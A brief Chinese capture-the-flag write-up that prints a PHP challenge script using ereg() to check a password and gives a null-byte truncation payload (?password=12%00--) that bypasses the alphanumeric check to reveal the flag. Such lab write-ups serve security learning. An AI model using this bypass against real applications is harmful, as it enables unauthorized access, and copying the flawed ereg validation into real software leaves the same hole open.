

源码如下

```
1 <?php
2 show_source("19.php");
3 echo '<br>';
4 require 'flag.php';
5 error_reporting(0);
6
7 if (isset ($_GET['password'])) {
8     if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
9         echo 'You password must be alphanumeric';
10    else if (strpos ($_GET['password'], '--') !== FALSE)
11        die('Flag: ' . $flag);
12    else
13        echo 'Invalid password';
14 }
15 ?>
```

经过审计可以发现还是基于ereg的%00截断绕过

payload

```
1 ?password=12%00--
```